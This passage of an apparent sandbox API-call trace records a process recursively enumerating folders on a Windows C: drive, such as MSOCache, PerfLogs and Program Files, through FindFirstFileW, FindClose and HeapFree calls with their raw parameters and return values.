dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0195.159] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0195.160] GetProcessHeap () returned 0x550000 [0195.160] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0195.160] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.161] GetProcessHeap () returned 0x550000 [0195.161] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0195.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.162] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.163] GetProcessHeap () returned 0x550000 [0195.163] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0195.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.165] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.166] GetProcessHeap () returned 0x550000 [0195.166] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0195.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.167] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.168] GetProcessHeap () returned 0x550000 [0195.168] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0195.168] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0195.168] GetProcessHeap () returned 0x550000 [0195.168] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0195.170] FindClose (in: hFindFile=0x570fb8 | out: hFindFile=0x570fb8) returned 1 [0195.171] GetProcessHeap () returned 0x550000 [0195.171] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0195.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0195.172] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0195.172] GetProcessHeap () returned 0x550000 [0195.172] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0195.172] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.172] GetProcessHeap () returned 0x550000 [0195.172] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0195.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1adcd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1adcd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf5dfa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf5dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0195.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0195.176] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0195.176] GetProcessHeap () returned 0x550000 [0195.176] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0195.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0195.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0195.177] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0195.177] GetProcessHeap () returned 0x550000 [0195.177] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0195.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.178] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.179] GetProcessHeap () returned 0x550000 [0195.179] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0195.179] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0195.179] GetProcessHeap () returned 0x550000 [0195.179] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0195.179] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0195.180] GetProcessHeap () returned 0x550000 [0195.180] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0195.180] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0195.180] GetProcessHeap () returned 0x550000 [0195.180] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.733] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.734] GetProcessHeap () returned 0x550000 [0195.734] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.734] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.734] GetProcessHeap () returned 0x550000 [0195.734] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.735] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.735] GetProcessHeap () returned 0x550000 [0195.735] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.736] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.736] GetProcessHeap () returned 0x550000 [0195.736] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.736] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.736] GetProcessHeap () returned 0x550000 [0195.736] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.736] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.737] GetProcessHeap () returned 0x550000 [0195.737] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.737] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.737] GetProcessHeap () returned 0x550000 [0195.737] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.737] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.738] GetProcessHeap () returned 0x550000 [0195.738] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.739] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.739] GetProcessHeap () returned 0x550000 [0195.739] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.740] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.740] GetProcessHeap () returned 0x550000 [0195.740] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.740] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.740] GetProcessHeap () returned 0x550000 [0195.740] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.741] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.741] GetProcessHeap () returned 0x550000 [0195.741] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.741] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.741] GetProcessHeap () returned 0x550000 [0195.741] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.742] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.742] GetProcessHeap () returned 0x550000 [0195.742] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, 